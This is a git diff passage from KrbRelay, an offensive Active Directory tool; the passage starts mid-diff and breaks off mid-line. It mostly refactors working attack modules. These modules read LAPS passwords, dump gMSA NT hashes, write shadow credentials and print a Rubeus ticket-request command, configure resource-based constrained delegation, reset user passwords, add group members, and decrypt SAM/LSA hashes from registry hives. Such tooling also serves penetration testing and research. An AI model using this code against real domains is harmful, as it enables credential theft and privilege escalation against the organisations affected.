Marshal.FreeHGlobal(_.mod_type); - }); + mod.ForEach( + _ => + { + Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); + Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); + Marshal.FreeHGlobal(_.mod_type); + } + ); Marshal.FreeHGlobal(ptr); return (LdapStatus)rest; @@ -80,19 +86,20 @@ public static LdapStatus setAttribute(IntPtr ld, string attribute, byte[] value, public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value, string dn) { var modPropPtr = Marshal.StringToHGlobalUni(attribute); - var modValue = new List { - value - }; + var modValue = new List { value }; var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2); - Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? new byte[0]).ToArray(), modValuePtr); - List mod = new List { - new LDAPMod { - mod_op = (int)LdapModOperation.LDAP_MOD_ADD | (int)LdapModOperation.LDAP_MOD_BVALUES, + Helpers.ByteArraysToBerValueArray( + modValue.Select(_ => _ ?? new byte[0]).ToArray(), + modValuePtr + ); + List mod = new List + { + new LDAPMod + { + mod_op = + (int)LdapModOperation.Add | (int)LdapModOperation.BValues, mod_type = modPropPtr, - mod_vals_u = new LDAPMod.mod_vals - { - modv_bvals = modValuePtr - }, + mod_vals_u = new LDAPMod.mod_vals { modv_bvals = modValuePtr }, mod_next = IntPtr.Zero } }; @@ -100,15 +107,17 @@ public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value, Helpers.StructureArrayToPtr(mod, ptr, true); //int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage); - int rest = ldap_modify_s(ld, dn, ptr); + int rest = Interop.ldap_modify(ld, dn, ptr); Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest); - mod.ForEach(_ => - { - Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_type); - }); + mod.ForEach( + _ => + { + Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); + Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); + Marshal.FreeHGlobal(_.mod_type); + } + ); Marshal.FreeHGlobal(ptr); return (LdapStatus)rest; @@ -131,26 +140,22 @@ public static string getMachineDN(IntPtr ld, string computername = null) IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); var controlPtr = Marshal.StringToHGlobalUni("DistinguishedName"); Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); - var search = Natives.ldap_search( + var search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, + State.domainDN, + (int)LdapSearchScope.SubTree, String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computername), pLaps, - 0); + 0 + ); //Console.WriteLine("[*] msgID: {0}", search); IntPtr pMessage = IntPtr.Zero; - var r = Natives.ldap_result( - ld, - search, - 0, - timeout, - ref pMessage); - var entry = ldap_first_entry(ld, pMessage); + var r = Interop.ldap_result(ld, search, 0, timeout, ref pMessage); + var entry = Interop.ldap_first_entry(ld, pMessage); IntPtr ber = IntPtr.Zero; - var attr = ldap_first_attribute(ld, entry, ref ber); - var vals = ldap_get_values_len(ld, entry, attr); + var attr = Interop.ldap_first_attribute(ld, entry, ref ber); + var vals = Interop.ldap_get_values_len(ld, entry, attr); var attrName = Marshal.PtrToStringUni(attr); //Console.WriteLine("ldap_first_attribute: {0}", attr); //Console.WriteLine("ldap_get_values_len: {0}", vals); @@ -159,7 +164,10 @@ public static string getMachineDN(IntPtr ld, string computername = null) var result = new List(); foreach (var tempPtr in Helpers.GetPointerArray(vals)) { - Natives.berval bervalue = (Natives.berval)Marshal.PtrToStructure(tempPtr, typeof(Natives.berval)); + berval bervalue = (berval)Marshal.PtrToStructure( + tempPtr, + typeof(berval) + ); if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) { var byteArray = new byte[bervalue.bv_len]; @@ -177,33 +185,30 @@ public static string getMachineDN(IntPtr ld, string computername = null) public static string getPropertyValue(IntPtr ld, string adObject, string property) { - var timeout = new Natives.LDAP_TIMEVAL + var timeout = new LDAP_TIMEVAL { tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) }; IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); var controlPtr = Marshal.StringToHGlobalUni(property); Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); - var search = ldap_search( + + var search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, + State.domainDN, + (int)LdapSearchScope.SubTree, String.Format("(&(objectClass=*)(sAMAccountName={0}))", adObject), pLaps, - 0); + 0 + ); //Console.WriteLine("[*] msgID: {0}", search); IntPtr pMessage = IntPtr.Zero; - var r = ldap_result( - ld, - search, - 0, - timeout, - ref pMessage); - var entry = ldap_first_entry(ld, pMessage); + var r = Interop.ldap_result(ld, search, 0, timeout, ref pMessage); + var entry = Interop.ldap_first_entry(ld, pMessage); IntPtr ber = IntPtr.Zero; - var attr = ldap_first_attribute(ld, entry, ref ber); - var vals = ldap_get_values_len(ld, entry, attr); + var attr = Interop.ldap_first_attribute(ld, entry, ref ber); + var vals = Interop.ldap_get_values_len(ld, entry, attr); var attrName = Marshal.PtrToStringUni(attr); //Console.WriteLine("ldap_first_attribute: {0}", attr); //Console.WriteLine("ldap_get_values_len: {0}", vals); @@ -212,7 +217,7 @@ public static string getPropertyValue(IntPtr ld, string adObject, string propert var result = new List(); foreach (var tempPtr in Helpers.GetPointerArray(vals)) { - Natives.berval bervalue = (Natives.berval)Marshal.PtrToStructure(tempPtr, typeof(Natives.berval)); + berval bervalue = Marshal.PtrToStructure(tempPtr); if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) { var byteArray = new byte[bervalue.bv_len]; @@ -227,4 +232,4 @@ public static string getPropertyValue(IntPtr ld, string adObject, string propert return Encoding.ASCII.GetString(t); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/LAPS.cs b/KrbRelay/Clients/Attacks/Ldap/LAPS.cs index 77e010a..afdc7d3 100644 --- a/KrbRelay/Clients/Attacks/Ldap/LAPS.cs +++ b/KrbRelay/Clients/Attacks/Ldap/LAPS.cs @@ -3,7 +3,6 @@ using System.Linq; using System.Runtime.InteropServices; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { @@ -11,7 +10,7 @@ internal class LAPS { public static void read(IntPtr ld, string computer = "") { - var timeout = new Natives.LDAP_TIMEVAL + var timeout = new LDAP_TIMEVAL { tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) }; @@ -22,45 +21,51 @@ public static void read(IntPtr ld, string computer = "") int search = 0; if (string.IsNullOrEmpty(computer)) { - search = Natives.ldap_search( + search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, + State.domainDN, + (int)LdapSearchScope.SubTree, "(&(objectClass=computer)(ms-MCS-AdmPwd=*))", pLaps, - 0); + 0 + ); } else { - search = Natives.ldap_search( + search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computer.ToUpper()), + State.domainDN, + (int)LdapSearchScope.SubTree, + String.Format( + "(&(objectClass=computer)(sAMAccountName={0}))", + computer.ToUpper() + ), pLaps, - 0); + 0 + ); } //Console.WriteLine("[*] msgID: {0}", search); IntPtr pMessage = IntPtr.Zero; - var r = Natives.ldap_result( - ld, - search, - 1, - timeout, - ref pMessage); - Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r); - Dictionary>> result = new Dictionary>>(); + var r = Interop.ldap_result(ld, search, 1, timeout, ref pMessage); + Console.WriteLine("[*] Interop.ldap_result: {0}", (LdapResultType)r); + Dictionary>> result = + new Dictionary>>(); var ber = Marshal.AllocHGlobal(IntPtr.Size); - for (var entry = Natives.ldap_first_entry(ld, pMessage); entry != IntPtr.Zero; - entry = Natives.ldap_next_entry(ld, entry)) + for ( + var entry = Interop.ldap_first_entry(ld, pMessage); + entry != IntPtr.Zero; + entry = Interop.ldap_next_entry(ld, entry) + ) { - string dn = Generic.GetLdapDn(ld, entry);//.Split(',').First().Replace("CN=",""); + string dn = Generic.GetLdapDn(ld, entry); //.Split(',').First().Replace("CN=",""); Dictionary> aa = Generic.GetLdapAttributes(ld, entry, ref ber); - string password = Encoding.ASCII.GetString(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray()); + string password = Encoding.ASCII.GetString( + aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray() + ); Console.WriteLine("dn: {0, -60} {1}", dn, password); } return; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/RBCD.cs b/KrbRelay/Clients/Attacks/Ldap/RBCD.cs index e8fb98a..353c825 100644 --- a/KrbRelay/Clients/Attacks/Ldap/RBCD.cs +++ b/KrbRelay/Clients/Attacks/Ldap/RBCD.cs @@ -1,6 +1,5 @@ using System; using System.Security.AccessControl; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { @@ -20,4 +19,4 @@ public static LdapStatus attack(IntPtr ld, string sid, string computername = nul return Generic.setAttribute(ld, "msDS-AllowedToActOnBehalfOfOtherIdentity", value, dn); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs b/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs index 8597ac8..f0720be 100644 --- a/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs +++ b/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs @@ -13,7 +13,6 @@ using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { @@ -26,32 +25,56 @@ public static LdapStatus attack(IntPtr ld, string target = "") string dn = Generic.getPropertyValue(ld, target, "distinguishedName"); string password = Guid.NewGuid().ToString(); //Console.WriteLine(dn); - + X509Certificate2 cert; KeyCredential keyCredential; //cert = GenerateSelfSignedCert(dn); // > net45 - RSA rsa = new RSACryptoServiceProvider(2048, new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString())); - CertificateRequest req = new CertificateRequest(String.Format("cn={0}", target), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + RSA rsa = new RSACryptoServiceProvider( + 2048, + new CspParameters( + 24, + "Microsoft Enhanced RSA and AES Cryptographic Provider", + Guid.NewGuid().ToString() + ) + ); + CertificateRequest req = new CertificateRequest( + String.Format("cn={0}", target), + rsa, + HashAlgorithmName.SHA256, + RSASignaturePadding.Pkcs1 + ); cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1)); - - Guid guid = Guid.NewGuid(); keyCredential = new KeyCredential(cert, guid, dn, DateTime.Now); - LdapStatus ret = Generic.setAttribute(ld, "msDS-KeyCredentialLink", Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary()), dn); - if (ret != LdapStatus.LDAP_SUCCESS) + + LdapStatus ret = Generic.setAttribute( + ld, + "msDS-KeyCredentialLink", + Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary()), + dn + ); + if (ret != LdapStatus.Success) return ret; - + byte[] certBytes = cert.Export(X509ContentType.Pfx, password); var certOutput = Convert.ToBase64String(certBytes); - Console.WriteLine("Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /getcredentials /show", target, certOutput, password); - + Console.WriteLine( + "Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /getcredentials /show", + target, + certOutput, + password + ); + return ret; } //https://stackoverflow.com/a/51687630 - public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int keyStrength = 2048) + public static X509Certificate2 GenerateSelfSignedCert( + string subjectName, + int keyStrength = 2048 + ) { // Generating Random Numbers var randomGenerator = new CryptoApiRandomGenerator(); @@ -61,7 +84,11 @@ public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int ke var certificateGenerator = new X509V3CertificateGenerator(); // Serial Number - var serialNumber = BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(Int64.MaxValue), random); + var serialNumber = BigIntegers.CreateRandomInRange( + BigInteger.One, + BigInteger.ValueOf(Int64.MaxValue), + random + ); certificateGenerator.SetSerialNumber(serialNumber); // Signature Algorithm @@ -100,17 +127,24 @@ public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int ke var pkcs12Store = new Pkcs12Store(); var certEntry = new X509CertificateEntry(certificate); pkcs12Store.SetCertificateEntry(subjectName, certEntry); - pkcs12Store.SetKeyEntry(subjectName, new AsymmetricKeyEntry(subjectKeyPair.Private), new[] { certEntry }); + pkcs12Store.SetKeyEntry( + subjectName, + new AsymmetricKeyEntry(subjectKeyPair.Private), + new[] { certEntry } + ); X509Certificate2 keyedCert; using (MemoryStream pfxStream = new MemoryStream()) { pkcs12Store.Save(pfxStream, new char[0], new SecureRandom()); pfxStream.Seek(0, SeekOrigin.Begin); - keyedCert = new X509Certificate2(pfxStream.ToArray(), string.Empty, X509KeyStorageFlags.Exportable); + keyedCert = new X509Certificate2( + pfxStream.ToArray(), + string.Empty, + X509KeyStorageFlags.Exportable + ); } return keyedCert; } - } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs b/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs index a8ee883..06710e5 100644 --- a/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs +++ b/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs @@ -1,10 +1,9 @@ using System; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { - internal class addGroupMember + internal class AddGroupMember { public static LdapStatus attack(IntPtr ld, string group, string user) { @@ -13,4 +12,4 @@ public static LdapStatus attack(IntPtr ld, string group, string user) return Generic.addAttribute(ld, "member", Encoding.ASCII.GetBytes(userDn), groupDn); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/gMSA.cs b/KrbRelay/Clients/Attacks/Ldap/gMSA.cs index 4ad3a86..5ce14dc 100644 --- a/KrbRelay/Clients/Attacks/Ldap/gMSA.cs +++ b/KrbRelay/Clients/Attacks/Ldap/gMSA.cs @@ -3,7 +3,6 @@ using System.IO; using System.Linq; using System.Runtime.InteropServices; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { @@ -22,46 +21,68 @@ public static void read(IntPtr ld, string gMsaUser = "") int search = 0; if (string.IsNullOrEmpty(gMsaUser)) { - search = ldap_search( + search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, + State.domainDN, + (int)LdapSearchScope.SubTree, "(&(objectClass=msDS-GroupManagedServiceAccount))", pLaps, - 0); + 0 + ); } else { - search = ldap_search( + search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - String.Format("(&(objectClass=msDS-GroupManagedServiceAccount)(sAMAccountName={0}))", gMsaUser.ToUpper()), + State.domainDN, + (int)LdapSearchScope.SubTree, + String.Format( + "(&(objectClass=msDS-GroupManagedServiceAccount)(sAMAccountName={0}))", + gMsaUser.ToUpper() + ), pLaps, - 0); + 0 + ); } //Console.WriteLine("[*] msgID: {0}", search); IntPtr pMessage = IntPtr.Zero; - var r = Natives.ldap_result( - ld, - search, - 1, - timeout, - ref pMessage); - Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r); - Dictionary>> result = new Dictionary>>(); + var r = Interop.ldap_result(ld, search, 1, timeout, ref pMessage); + Console.WriteLine("[*] Interop.ldap_result: {0}", (LdapResultType)r); + Dictionary>> result = + new Dictionary>>(); var ber = Marshal.AllocHGlobal(IntPtr.Size); - for (var entry = ldap_first_entry(ld, pMessage); entry != IntPtr.Zero; entry = Natives.ldap_next_entry(ld, entry)) + for ( + var entry = Interop.ldap_first_entry(ld, pMessage); + entry != IntPtr.Zero; + entry = Interop.ldap_next_entry(ld, entry) + ) { string dn = Generic.GetLdapDn(ld, entry); Dictionary> aa = Generic.GetLdapAttributes(ld, entry, ref ber); - var managedPassword = new MsDsManagedPassword(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray()); + var managedPassword = new MsDsManagedPassword( + aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray() + ); Console.WriteLine("Username: {0}", dn); - Console.WriteLine("NT hash: {0}", Helpers.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, managedPassword.CurrentPassword)); - Console.WriteLine("PasswordGoodUntil: {0}", managedPassword.PasswordGoodUntil.ToString()); + Console.WriteLine( + "NT hash: {0}", + Helpers.KerberosPasswordHash( + KERB_ETYPE.rc4_hmac, + managedPassword.CurrentPassword + ) + ); + Console.WriteLine( + "PasswordGoodUntil: {0}", + managedPassword.PasswordGoodUntil.ToString() + ); if (managedPassword.OldPassword != null) - Console.WriteLine("Old NT hash: {0}", Helpers.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, managedPassword.OldPassword)); + Console.WriteLine( + "Old NT hash: {0}", + Helpers.KerberosPasswordHash( + KERB_ETYPE.rc4_hmac, + managedPassword.OldPassword + ) + ); Console.WriteLine(); } return; @@ -103,12 +124,19 @@ internal MsDsManagedPassword(byte[] blob) } var queryPasswordIntervalOffset = reader.ReadInt16(); - var queryPasswordIntervalTicks = BitConverter.ToInt64(blob, queryPasswordIntervalOffset); + var queryPasswordIntervalTicks = BitConverter.ToInt64( + blob, + queryPasswordIntervalOffset + ); NextQueryTime = DateTime.Now + TimeSpan.FromTicks(queryPasswordIntervalTicks); var unchangedPasswordIntervalOffset = reader.ReadInt16(); - var unchangedPasswordIntervalTicks = BitConverter.ToInt64(blob, unchangedPasswordIntervalOffset); - PasswordGoodUntil = DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks); + var unchangedPasswordIntervalTicks = BitConverter.ToInt64( + blob, + unchangedPasswordIntervalOffset + ); + PasswordGoodUntil = + DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks); } } } @@ -131,4 +159,4 @@ private string GetUnicodeString(byte[] blob, int index) return null; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/setPassword.cs b/KrbRelay/Clients/Attacks/Ldap/setPassword.cs index 9bf8c38..a1a5c05 100644 --- a/KrbRelay/Clients/Attacks/Ldap/setPassword.cs +++ b/KrbRelay/Clients/Attacks/Ldap/setPassword.cs @@ -1,6 +1,5 @@ using System; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { @@ -10,7 +9,12 @@ public static LdapStatus attack(IntPtr ld, string user, string password) { //https://docs.microsoft.com/en-us/troubleshoot/windows/win32/change-windows-active-directory-user-password string dn = Generic.getPropertyValue(ld, user, "distinguishedName"); - return Generic.setAttribute(ld, "unicodePwd", Encoding.Unicode.GetBytes('"'+password+'"'), dn); + return Generic.setAttribute( + ld, + "unicodePwd", + Encoding.Unicode.GetBytes('"' + password + '"'), + dn + ); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs index a5cf80a..5c3b8c7 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs @@ -15,20 +15,32 @@ public static byte[] Md4Hash2(this byte[] input) List bytes = input.ToList(); uint bitCount = (uint)(bytes.Count) * 8; bytes.Add(128); - while (bytes.Count % 64 != 56) bytes.Add(0); + while (bytes.Count % 64 != 56) + bytes.Add(0); var uints = new List(); for (int i = 0; i + 3 < bytes.Count; i += 4) - uints.Add(bytes[i] | (uint)bytes[i + 1] << 8 | (uint)bytes[i + 2] << 16 | (uint)bytes[i + 3] << 24); + uints.Add( + bytes[i] + | (uint)bytes[i + 1] << 8 + | (uint)bytes[i + 2] << 16 + | (uint)bytes[i + 3] << 24 + ); uints.Add(bitCount); uints.Add(0); // run rounds - uint a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476; + uint a = 0x67452301, + b = 0xefcdab89, + c = 0x98badcfe, + d = 0x10325476; Func rol = (x, y) => x << (int)y | x >> 32 - (int)y; for (int q = 0; q + 15 < uints.Count; q += 16) { var chunk = uints.GetRange(q, 16); - uint aa = a, bb = b, cc = c, dd = d; + uint aa = a, + bb = b, + cc = c, + dd = d; Action, uint[]> round = (f, y) => { foreach (uint i in new[] { y[0], y[1], y[2], y[3] }) @@ -39,10 +51,22 @@ public static byte[] Md4Hash2(this byte[] input) b = rol(b + f(c, d, a) + chunk[(int)(i + y[7])] + y[12], y[11]); } }; - round((x, y, z) => (x & y) | (~x & z), new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 }); - round((x, y, z) => (x & y) | (x & z) | (y & z), new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 }); - round((x, y, z) => x ^ y ^ z, new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 }); - a += aa; b += bb; c += cc; d += dd; + round( + (x, y, z) => (x & y) | (~x & z), + new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 } + ); + round( + (x, y, z) => (x & y) | (x & z) | (y & z), + new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 } + ); + round( + (x, y, z) => x ^ y ^ z, + new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 } + ); + a += aa; + b += bb; + c += cc; + d += dd; } // return hex encoded string byte[] outBytes = new[] { a, b, c, d }.SelectMany(BitConverter.GetBytes).ToArray(); @@ -84,7 +108,13 @@ public static byte[] DecryptAES_CBC(byte[] value, byte[] key, byte[] iv) } byte[] concat = new byte[value.Length + manualPadding.Count]; System.Buffer.BlockCopy(value, 0, concat, 0, value.Length); - System.Buffer.BlockCopy(manualPadding.ToArray(), 0, concat, value.Length, manualPadding.Count); + System.Buffer.BlockCopy( + manualPadding.ToArray(), + 0, + concat, + value.Length, + manualPadding.Count + ); value = concat; } @@ -114,8 +144,13 @@ public static byte[] ComputeSha256(byte[] key, byte[] value) //https://stackoverflow.com/questions/7217627/is-there-anything-wrong-with-this-rc4-encryption-code-in-c-sharp public static byte[] RC4Encrypt(byte[] pwd, byte[] data) { - int a, i, j, k, tmp; - int[] key, box; + int a, + i, + j, + k, + tmp; + int[] key, + box; byte[] cipher; key = new int[256]; @@ -189,12 +224,24 @@ private static List TransformKey(List inputData) { List data = new List(); data.Add(Convert.ToByte(((inputData[0] >> 1) & 0x7f) << 1)); - data.Add(Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1)); - data.Add(Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1)); - data.Add(Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1)); - data.Add(Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1)); - data.Add(Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1)); - data.Add(Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1)); + data.Add( + Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1) + ); + data.Add( + Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1) + ); data.Add(Convert.ToByte((inputData[6] & 0x7f) << 1)); return data; } @@ -205,9 +252,16 @@ private static byte[] DeObfuscateHashPart(byte[] obfuscatedHash, List key) DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); cryptoProvider.Padding = PaddingMode.None; cryptoProvider.Mode = CipherMode.ECB; - ICryptoTransform transform = cryptoProvider.CreateDecryptor(key.ToArray(), new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 }); + ICryptoTransform transform = cryptoProvider.CreateDecryptor( + key.ToArray(), + new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 } + ); MemoryStream memoryStream = new MemoryStream(obfuscatedHash); - CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read); + CryptoStream cryptoStream = new CryptoStream( + memoryStream, + transform, + CryptoStreamMode.Read + ); byte[] plainTextBytes = new byte[obfuscatedHash.Length]; int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length); return plainTextBytes; @@ -231,4 +285,4 @@ public static string DecryptSingleHash(byte[] obfuscatedHash, string user) return (BitConverter.ToString(plain1) + BitConverter.ToString(plain2)); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs index afa8117..3a07328 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs @@ -34,4 +34,4 @@ public LsaSecretBlob(byte[] inputData) public byte[] unk { get; set; } public byte[] secret { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs index 43e1beb..feace9d 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs @@ -20,4 +20,4 @@ public NL_Record(byte[] inputData) public byte[] IV { get; set; } public byte[] encryptedData { get; set; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs index 3a64a4d..f482f53 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs @@ -151,4 +151,4 @@ public byte[] getChildValues(string valueName) return targetData.Data; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs index 160e941..2b34fd0 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs @@ -8,7 +8,12 @@ namespace KrbRelay.HiveParser // Modified version of https://github.com/G0ldenGunSec/SharpSecDump public class Parse { - public static void ParseSecrets(byte[] samBytes, byte[] securityBytes, byte[] systemBytes, byte[] bootKey) + public static void ParseSecrets( + byte[] samBytes, + byte[] securityBytes, + byte[] systemBytes, + byte[] bootKey + ) { StringBuilder sb = new StringBuilder(); @@ -34,4 +39,4 @@ public static void ParseSecrets(byte[] samBytes, byte[] securityBytes, byte[] sy Console.WriteLine(sb.ToString()); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs index 02abde4..5253e27 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs @@ -10,7 +10,8 @@ public class Registry { private static byte[] StringToByteArray(string hex) { - return Enumerable.Range(0, hex.Length) + return Enumerable + .Range(0, hex.Length) .Where(x => x % 2 == 0) .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) .ToArray(); @@ -31,8 +32,25 @@ public static byte[] GetBootKey(RegistryHive systemHive) } byte[] skey = StringToByteArray(scrambledKey.ToString()); - byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, - 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; + byte[] descramble = new byte[] + { + 0x8, + 0x5, + 0x4, + 0x2, + 0xb, + 0x9, + 0xd, + 0x3, + 0x0, + 0x6, + 0x1, + 0xc, + 0xe, + 0xa, + 0xf, + 0x7 + }; byte[] bootkey = new byte[16]; for (int i = 0; i < bootkey.Length; i++) @@ -52,14 +70,17 @@ private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal) byte[] f70 = fVal.Skip(112).Take(16).ToArray(); List data = new List(); data.AddRange(f70); - data.AddRange(Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0")); + data.AddRange( + 